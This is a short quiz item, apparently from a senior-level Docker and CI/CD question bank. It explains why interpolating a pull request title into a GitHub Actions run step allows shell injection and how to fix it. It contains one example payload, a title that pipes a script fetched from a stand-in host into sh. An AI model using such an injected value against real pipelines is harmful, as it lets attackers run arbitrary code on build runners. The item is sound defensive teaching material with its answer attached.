Docker and CI/CD · Senior · Question 32 of 75

What is wrong with run: echo "${{ github.event.pull_request.title }}"?

Explanation

A title like "; curl evil.sh | sh; " becomes part of the shell script. Pass untrusted values through env: and reference them as shell variables.

Further reading

Problem with a question

Docker and CI/CD · Senior · question 32

Test yourself

Take the Docker and CI/CD · Senior quiz: questions and options are shuffled, and you get a review of your mistakes at the end.

Take this quiz